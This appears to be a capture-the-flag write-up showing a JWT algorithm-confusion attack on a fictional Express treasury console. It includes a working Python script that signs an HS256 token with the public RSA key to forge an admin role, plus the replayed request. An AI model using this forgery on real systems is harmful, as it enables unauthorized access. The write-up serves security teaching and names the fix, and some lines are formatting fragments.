LedgerLoop runs an internal treasury console: finance staff review account balances, ledgers and monthly statements. We are handed a regular analyst login and one goal — read the Q2 reconciliation report, which is fenced off to treasury administrators.
Everything about the app is ordinary Node/Express: a login form, a session cookie, pages gated by a role. The interesting part is how that role is proven — and how the console hands you everything you need to lie about it.
Target is a Node/Express app (X-Powered-By: Express) that redirects to
/login. Logging in as the analyst d.okafor and walking the console:
| Path | Description | Interesting? |
|---|---|---|
/login | form → sets ll_session cookie | |
/reports | lists reports the analyst may see | |
/reports/q2-reconciliation | restricted report | the target — 403 for analyst |
/integrations | partner JWT documentation | links the verification key |
/.well-known/ledgerloop-key.pem | RSA public key | the "secret" |
GET /reports/q2-reconciliation (cookie: role=analyst)
→ 403 "restricted to treasury administrators"
Login sets an HttpOnly cookie that is a JSON Web Token. Decoded, the analyst's token says
exactly what you would expect:
{
"sub": "d.okafor",
"name": "Dana Okafor",
"role": "analyst",
"aud": "ledgerloop-console",
"iss": "ledgerloop",
"iat": 1759142400, "exp": 1759171200
}
The header declares "alg":"RS256" with "kid":"ll-console-2026". RS256 is
asymmetric: the server signs with a private key and verifies with the
public one. A cookie the client can read but not forge — as designed. The
restricted route just checks the token's role.
The console's /integrations page documents the JWT setup for partner systems and,
helpfully, links the key material anyone can fetch:
/.well-known/ledgerloop-key.pem — the RSA public key, in PEM/.well-known/jwks.json — the same key as JWKS, kid: ll-console-2026Publishing a public key is normal — that is what public keys are for. The sample partner
snippet even verifies correctly, pinning algorithms: ['RS256']. But that pin is only in the
example. The real server calls its JWT library with no algorithm list at all, and that single
omission is the whole challenge.
/integrations docs show the correct call pinning algorithms:['RS256']
(so that's the intended design), and empirically alg:none is rejected
(302 → login) while an HS256 token signed with the public PEM is accepted
(200). A verifier pinned to RS256 would reject an HS256 token outright — the only way the forgery
verifies is if the real verify() call omitted the algorithms allow-list, so the
library honoured the attacker's alg header and used the public-key bytes as an HMAC secret.
The “no algorithm list” conclusion is the attack succeeding.
Libraries like jsonwebtoken pick the verification routine from the token's own
alg header when the caller does not constrain it. Feed the same verifier an
HS256 token and it switches to HMAC — using the key bytes you gave it as the
shared secret. Those key bytes are the RSA public key. And the public key is, by
definition, public.
Mint an HS256 token whose payload flips role to admin, and sign it with
HMAC-SHA256(publicKeyPEM, header + "." + payload):
import base64, json, hmac, hashlib, time
b64 = lambda b: base64.urlsafe_b64encode(b if isinstance(b,bytes) else b.encode()).rstrip(b'=')
b64j = lambda o: b64(json.dumps(o, separators=(',',':')))
pem = open('ledgerloop-key.pem', 'rb').read() # served WITH a trailing newline
now = int(time.time())
h = b64j({"alg":"HS256", "typ":"JWT", "kid":"ll-console-2026"})
p = b64j({"sub":"d.okafor", "name":"Dana Okafor", "role":"admin",
"iat":now, "exp":now+28800,
"aud":"ledgerloop-console", "iss":"ledgerloop"})
sig = b64(hmac.new(pem, h+b'.'+p, hashlib.sha256).digest())
print((h+b'.'+p+b'.'+sig).decode())
pem, pem.strip(), pem+b"\n".
alg:none was rejected outright. Among valid HS256 forgeries, only role:"admin"
passed — treasury_admin and administrator returned 403 even with a good
signature. The gate is a literal role === 'admin'.
Replay the forged cookie against the restricted route:
GET /reports/q2-reconciliation
Cookie: ll_session=eyJhbGciOiJIUzI1Ni... // forged, role=admin
→ 200 — report renders, flag in the "Reconciliation sign-off token"
alg:none first, but expect it closed. It is worth one request, but a
competent app rejects it; the PEM-as-HMAC path is the real one here.algorithms: ['RS256']). An unconstrained verifier will happily
switch to whatever algorithm the attacker's token asks for — and an exposed public key becomes an
HMAC secret.
Tools: curl, python (JWT forge), base64 / hmac.